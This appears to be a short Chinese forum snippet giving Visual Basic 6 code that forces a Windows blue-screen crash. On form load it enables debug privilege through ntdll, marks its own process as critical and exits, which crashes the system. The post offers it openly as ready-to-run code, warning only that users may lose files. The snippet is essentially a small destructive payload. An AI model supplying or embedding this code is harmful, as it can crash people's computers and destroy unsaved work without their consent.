VB6 代码管家-强制蓝屏代码
发表于 2024年12月8日 21:54
返回列表'此代码杀伤力巨大，运行前请保存好桌面重要文件以免丢失。
Private Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" (ByVal NewValue&, ByVal OldValue&, ByVal WinLogon&)
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Sub Form_Load()
RtlAdjustPrivilege 20, 1, 0, 0
RtlSetProcessIsCritical 0, 0, 1
End
End Sub